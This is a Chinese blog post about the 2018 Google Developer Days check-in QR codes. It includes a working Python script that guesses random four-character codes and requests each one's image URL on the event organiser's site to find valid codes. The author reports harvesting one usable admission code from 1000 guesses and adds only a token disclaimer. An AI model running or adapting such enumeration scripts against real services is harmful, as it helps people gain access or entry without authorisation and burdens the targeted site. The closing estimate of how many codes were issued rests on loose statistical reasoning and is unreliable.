天问

浅挖2018年google邀请码

邀请函

刚收到2018年google邀请确认函,就一个二维码。好了,凭这个二维码9月20日进场。注意google2018年开发大会中用到的签到二维码和数字二维码其实是一个。

签到码生成

本文只是兴趣探讨,各位看官不要还是不要扰乱秩序呀,没有签到码的小伙伴就看直播吧。。。

那么好了,根据规律二维码由4个字符组成,每个字符由字母,数字随机生成。所以这里就可以通过简单的随机生成函数跑一堆的数字码即可。跑出来的数字码在云端进行一一匹配,每个数字码通过下面链接拼接成一个二维码图片的链接,如果这个码存在,则肯定说明该码可以用,也就是跑出一个邀请码。。。

https://gdd-experience.actionone.cn/qrcode/fvss.png

原理介绍好了,下面就是写个小脚本跑了:

import csv
import os
from time import sleep
import random
from urllib import request
import string

project_dir="C:/Users/dell/Desktop/google-party"
img_dir=project_dir+"/images"
data_dir=project_dir+"/data"

def downloadImg(imgUrl):
    try:  
        headers = { 
        'User-Agent' : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
        'Referer':'https://gdd-experience.actionone.cn'
             }
        req=request.Request(url=imgUrl)
        for i in headers:
            req.add_header(i,headers[i])
        res=request.urlopen(req)
        return res
    except Exception as err:
        return 0
    # finally:  
    #     print("pic:"+ imgUrl)

def __init__():
    if(os.path.exists(img_dir)!=True):
                os.mkdir(img_dir)
    if(os.path.exists(data_dir)!=True):
                os.mkdir(data_dir)

def create_rand(num=100):
    mylist1=list()
    for i in range(num):
        mylist1.append(''.join(random.sample(string.ascii_letters + string.digits, 4)).lower())
    return mylist1

def main():
    file=data_dir+"/result.csv"
    result=list()
    for i in create_rand(1000):
        url_path="https://gdd-experience.actionone.cn/qrcode/"+i+".png"
        res=downloadImg(url_path)
        if res!=0:
            result.append(url_path)
    print(result)

main()

目前我随机1000个就跑出一个有效的邀请码了,所耗时间也就1-2分钟吧。。。

总共发送多少邀请码

这其实也可以大概算出发了多少邀请码,随机事件符合正态分布,4位随机码总事件数为36*36*36*36,除以1000即可算出大概发送了1679个邀请码。当然这个计算也不是很准,1000个出1个,那么这1个就是小概率事件。所以说要仔细分析,还需要继续跑5000次/10000次,等等计算更靠谱。

博客地址:http://blog.yoqi.me/?p=13808
扫我捐助哦
喜欢 3

这篇文章有1条评论

  1. aaa 2018/9/7 #1 [REPLY]

    有沒有多餘的邀請碼QAQ

发表评论